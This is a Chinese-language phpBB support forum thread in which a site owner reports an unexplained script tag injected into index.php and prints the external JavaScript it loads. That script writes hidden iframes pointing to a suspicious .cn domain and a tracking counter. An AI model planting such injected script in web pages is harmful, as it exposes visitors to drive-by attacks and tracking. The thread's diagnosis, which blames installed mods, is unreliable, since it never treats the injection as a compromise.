論壇 index.php 出現奇怪代碼導致程式錯誤

phpBB Installation & Usage Support
phpBB 3 安裝於各類型作業平台之問題討論;外掛問題,請到相關版面依發問格式發表!
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

版面規則
本區是討論關於 phpBB 3.0.X 架設安裝上的問題,只要有安裝任何外掛,請到外掛討論相關版面按照公告格式發表。
(發表文章請按照公告格式發表,違者砍文)
主題已鎖定
StandardGr
星球普通子民
星球普通子民
文章: 30
註冊時間: 2008-11-12 04:17

論壇 index.php 出現奇怪代碼導致程式錯誤

文章 StandardGr »

 
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼

代碼: 選擇全部

?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼


他是出現在 index.php 的

代碼: 選擇全部

page_footer();
之後

抓下 css.js 之後打開來看,他的代碼是這樣

代碼: 選擇全部

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
   {
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');

   document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...

再次感謝幫助

 
##### 以下為 '基本的發問格式' #####
●主機作業系統:Windows (Xp、Sp2)
●快速架站程式:
●免費空間連結:
●您的上網方式:中華電信ADSL
●您安裝的程式:appserv-win32-2.4.8
●您的 phpBB 版本:phpBB 3.0.2
●您的 domain (網域名稱) : xxking.com
●您的 phpBB 連結網址: http://yanny.xxking.com
##### 以上為 '基本的發問格式' #####
頭像
心靈捕手
默默耕耘的老師
默默耕耘的老師
文章: 8540
註冊時間: 2004-04-30 01:54
來自: Taiwan

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

文章 心靈捕手 »

StandardGr 寫: 
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼

代碼: 選擇全部

?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼


他是出現在 index.php 的

代碼: 選擇全部

page_footer();
之後

抓下 css.js 之後打開來看,他的代碼是這樣

代碼: 選擇全部

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
   {
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');

   document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...

再次感謝幫助

 
建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.
施比受有福,祝福您好運! ^_^
歡迎光臨★★心靈捕手★★ :: 討論區
https://wang5555.dnsfor.me/phpBB3/
StandardGr
星球普通子民
星球普通子民
文章: 30
註冊時間: 2008-11-12 04:17

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

文章 StandardGr »

建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.


抱歉這兩天比較忙沒來得及感謝指導


原始 index.php 底下共新增三段代碼如下:

一個是 Top Posters on Index http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=51637
加了

代碼: 選擇全部

//Generate top poster list if enabled
if ($config['amount_top_posters'])
{
	if (!function_exists('get_top_posters'))
	{	
		include_once($phpbb_root_path . 'includes/functions_topposter.' . $phpEx);
	}
	get_top_posters();
}
一個是 Top5 List v1.0.2 http://phpbb-tw.net/phpbb/viewtopic.php?f=134&t=51371
加了

代碼: 選擇全部

// Top List Mod
include($phpbb_root_path . 'toplist.'.$phpEx);
一個是 Activity Stats MOD http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=50972
加了

代碼: 選擇全部

include($phpbb_root_path . 'includes/functions_activity_stats.' . $phpEx);
activity_mod();

由於其中兩個是官方認可,而一個是竹貓所使用的。所以應該不會有相容上的問題才是
目前可能先從這三個外掛著手整理

另外還有一點疑惑就是
擷取原始 index.php 的一小段代碼如下

代碼: 選擇全部

define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
再擷取同樣區域的代碼,但是是出自於出錯的 index.php ,卻是如下

代碼: 選擇全部

define('in_phpbb', true);
$phpbb_root_path = (defined('phpbb_root_path')) ? phpbb_root_path : './';
$phpex = substr(strrchr(__file__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpex);
include($phpbb_root_path . 'includes/functions_display.' . $phpex);

不太了解為何在部分區域的英文字怎麼都會自動變成小寫...
難道這會與出錯有關係嗎?

再次感謝抽空給予寶貴的指教 (:Y)

 
##### 以下為 '基本的發問格式' #####
●主機作業系統:Windows (Xp、Sp2)
●快速架站程式:
●免費空間連結:
●您的上網方式:中華電信ADSL
●您安裝的程式:appserv-win32-2.4.8
●您的 phpBB 版本:phpBB 3.0.2
●您的 domain (網域名稱) : xxking.com
●您的 phpBB 連結網址: http://yanny.xxking.com
##### 以上為 '基本的發問格式' #####
頭像
心靈捕手
默默耕耘的老師
默默耕耘的老師
文章: 8540
註冊時間: 2004-04-30 01:54
來自: Taiwan

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

文章 心靈捕手 »

您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".

不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.
施比受有福,祝福您好運! ^_^
歡迎光臨★★心靈捕手★★ :: 討論區
https://wang5555.dnsfor.me/phpBB3/
StandardGr
星球普通子民
星球普通子民
文章: 30
註冊時間: 2008-11-12 04:17

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

文章 StandardGr »

心靈捕手 寫:您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".

不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.

嗯~就如同下圖示

原始 index.php ↓
圖檔


出錯後的 index.php ↓
圖檔


如紅框中的一些函數代碼英文字都會自動變成小寫
很奇怪的現象不知道,我想這應該不是造成出錯的原因才是?


由於站台上出錯的時間點都在晚上十一點凌晨一點左右
所以目前思考的抓錯方向是找出會受時間所影響到的外掛
可能是換日啦,或者是到了某個時間點會做什麼變化、統計等等的資料導致錯誤
Top5 List v1.0.2Top Posters on Index可能就沒這方面的問題
Activity Stats MOD是會因為時間的轉動而做變化
之前也因為要設計版面而將Activity Stats MOD改動較多
所以暫時先卸下Activity Stats MOD試試看
測試個兩天看看,如果不行再將全站上的程式都恢復到最原始的狀態。重新安裝外掛 :-P


失禮,再次感謝抽空給予寶貴的指教 (:Y)

 
##### 以下為 '基本的發問格式' #####
●主機作業系統:Windows (Xp、Sp2)
●快速架站程式:
●免費空間連結:
●您的上網方式:中華電信ADSL
●您安裝的程式:appserv-win32-2.4.8
●您的 phpBB 版本:phpBB 3.0.2
●您的 domain (網域名稱) : xxking.com
●您的 phpBB 連結網址: http://yanny.xxking.com
##### 以上為 '基本的發問格式' #####
主題已鎖定

回到「[3.0.x] 安裝與使用」